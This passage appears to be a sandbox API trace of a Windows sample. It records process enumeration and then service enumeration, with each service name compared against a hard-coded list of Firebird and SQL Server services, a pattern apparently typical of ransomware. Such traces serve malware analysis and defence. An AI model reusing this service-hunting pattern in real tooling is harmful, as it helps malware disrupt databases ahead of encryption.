th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0306.209] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0306.210] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0306.210] lstrlenW (lpString="1csrss.exe") returned 10 [0306.210] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.215] lstrlenW (lpString="svchost.exe") returned 11 [0306.215] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0306.216] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0306.216] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.216] lstrlenW (lpString="svchost.exe") returned 11 [0306.216] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0306.217] lstrlenW (lpString="consent.exe") returned 11 [0306.217] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0306.218] CloseHandle (hObject=0x564) returned 1 [0306.218] Sleep (dwMilliseconds=0x1f4) [0306.727] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddfc0 [0306.728] EnumServicesStatusExW (in: hSCManager=0x7ddfc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0306.728] GetLastError () returned 0xea [0306.728] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0306.728] EnumServicesStatusExW (in: hSCManager=0x7ddfc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0306.729] CloseServiceHandle (hSCObject=0x7ddfc0) returned 1 [0306.729] lstrlenW (lpString="Appinfo") returned 7 [0306.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0306.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0306.734] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0306.735] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0306.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0306.735] lstrlenW (lpString="AppXSvc") returned 7 [0306.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0306.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0306.735] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0306.735] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0306.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0306.735] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0306.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0306.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0306.735] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0306.735] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0306.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0306.735] lstrlenW (lpString="Audiosrv") returned 8 [0306.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0306.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0306.735] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0306.735] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0306.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0306.735] lstrlenW (lpString="BFE") returned 3 [0306.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0306.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0306.735] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0306.735] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0306.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0306.735] lstrlenW (lpString="BITS") returned 4 [0306.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0306.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0306.735] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0306.735] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0306.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0306.736] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0306.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0306.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0306.736] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0306.736] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0306.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0306.736] lstrlenW (lpString="CDPSvc") returned 6 [0306.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0306.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0306.736] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0306.736] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0306.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0306.736] lstrlenW (lpString="ClickToRunSvc") returned 13 [0306.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0306.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0306.736] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0306.736] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0306.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0306.736] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0306.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0306.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0306.736] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0306.736] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0306.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0306.736] lstrlenW (lpString="CryptSvc") returned 8 [0306.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0306.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0306.736] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0306.736] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0306.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0306.737] lstrlenW (lpString="DcomLaunch") returned 10 [0306.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0306.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0306.737] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0306.737] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0306.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0306.737] lstrlenW (lpString="DeviceAssociationService") returned 24 [0306.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0306.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0306.737] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0306.737] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0306.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0306.737] lstrlenW (lpString="Dhcp") returned 4 [0306.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0306.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0306.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0306.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0306.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0306.737] lstrlenW (lpString="Dnscache") returned 8 [0306.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0306.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0306.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0306.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0306.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0306.737] lstrlenW (lpString="DoSvc") returned 5 [0306.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0306.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0306.737] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0306.737] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0306.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0306.737] lstrlenW (lpString="DPS") returned 3 [0306.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0306.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0306.738] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0306.738] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0306.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0306.738] lstrlenW (lpString="DusmSvc") returned 7 [0306.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0306.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0306.738] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0306.738] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0306.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0306.738] lstrlenW (lpString="EventLog") returned 8 [0306.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0306.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0306.738] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0306.738] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0306.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0306.738] lstrlenW (lpString="EventSystem") returned 11 [0306.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0306.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0306.738] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0306.738] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0306.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0306.738] lstrlenW (lpString="FontCache") returned 9 [0306.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0306.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0306.738] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0306.738] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0306.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0306.738] lstrlenW (lpString="gpsvc") returned 5 [0306.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0306.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0306.738] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0306.738] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0306.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0306.739] lstrlenW (lpString="iphlpsvc") returned 8 [0306.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0306.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0306.739] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0306.739] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0306.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0306.739] lstrlenW (lpString="KeyIso") returned 6 [0306.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0306.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0306.739] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0306.739] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0306.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0306.739] lstrlenW (lpString="LanmanServer") returned 12 [0306.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0306.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0306.739] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0306.739] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0306.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0306.739] lstrlenW (lpString="LanmanWorkstation") returned 17 [0306.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0306.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0306.739] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0306.739] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0306.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0306.739] lstrlenW (lpString="lfsvc") returned 5 [0306.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0306.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0306.739] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0306.739] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0306.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0306.739] lstrlenW (lpString="lmhosts") returned 7 [0306.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0306.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0306.740] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0306.740] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0306.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0306.740] lstrlenW (lpString="LSM") returned 3 [0306.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0306.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0306.740] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0306.740] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0306.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0306.743] lstrlenW (lpString="MapsBroker") returned 10 [0306.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0306.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0306.743] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0306.743] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0306.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0306.743] lstrlenW (lpString="MpsSvc") returned 6 [0306.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0306.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0306.743] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0306.743] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0306.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0306.744] lstrlenW (lpString="NcbService") returned 10 [0306.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0306.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0306.744] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0306.744] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0306.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0306.744] lstrlenW (lpString="netprofm") returned 8 [0306.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0306.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0306.744] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0306.744] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0306.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0306.744] lstrlenW (lpString="NgcSvc") returned 6 [0306.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0306.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0306.744] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0306.744] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0306.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0306.744] lstrlenW (lpString="NlaSvc") returned 6 [0306.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0306.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0306.744] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0306.744] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0306.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0306.744] lstrlenW (lpString="nsi") returned 3 [0306.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0306.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0306.744] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0306.744] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0306.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0306.744] lstrlenW (lpString="PcaSvc") returned 6 [0306.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0306.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0306.745] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0306.745] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0306.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0306.745] lstrlenW (lpString="PlugPlay") returned 8 [0306.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0306.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0306.745] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0306.745] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0306.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0306.745] lstrlenW (lpString="Power") returned 5 [0306.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0306.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0306.745] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0306.745] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0306.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0306.746] lstrlenW (lpString="ProfSvc") returned 7 [0306.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0306.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0306.746] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0306.746] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0306.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0306.746] lstrlenW (lpString="RpcEptMapper") returned 12 [0306.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0306.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0306.746] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0306.746] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0306.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0306.746] lstrlenW (lpString="RpcSs") returned 5 [0306.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0306.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0306.746] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0306.746] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0306.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0306.746] lstrlenW (lpString="SamSs") returned 5 [0306.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0306.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0306.747] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0306.747] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0306.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0306.747] lstrlenW (lpString="Schedule") returned 8 [0306.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0306.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0306.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0306.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0306.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0306.747] lstrlenW (lpString="SecurityHealthService") returned 21 [0306.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0306.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0306.747] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0306.747] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0306.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0306.747] lstrlenW (lpString="SENS") returned 4 [0306.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0306.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0306.747] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0306.747] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0306.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0306.747] lstrlenW (lpString="ShellHWDetection") returned 16 [0306.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0306.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0306.747] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0306.747] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0306.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0306.747] lstrlenW (lpString="Spooler") returned 7 [0306.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0306.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0306.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0306.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0306.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0306.748] lstrlenW (lpString="SSDPSRV") returned 7 [0306.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 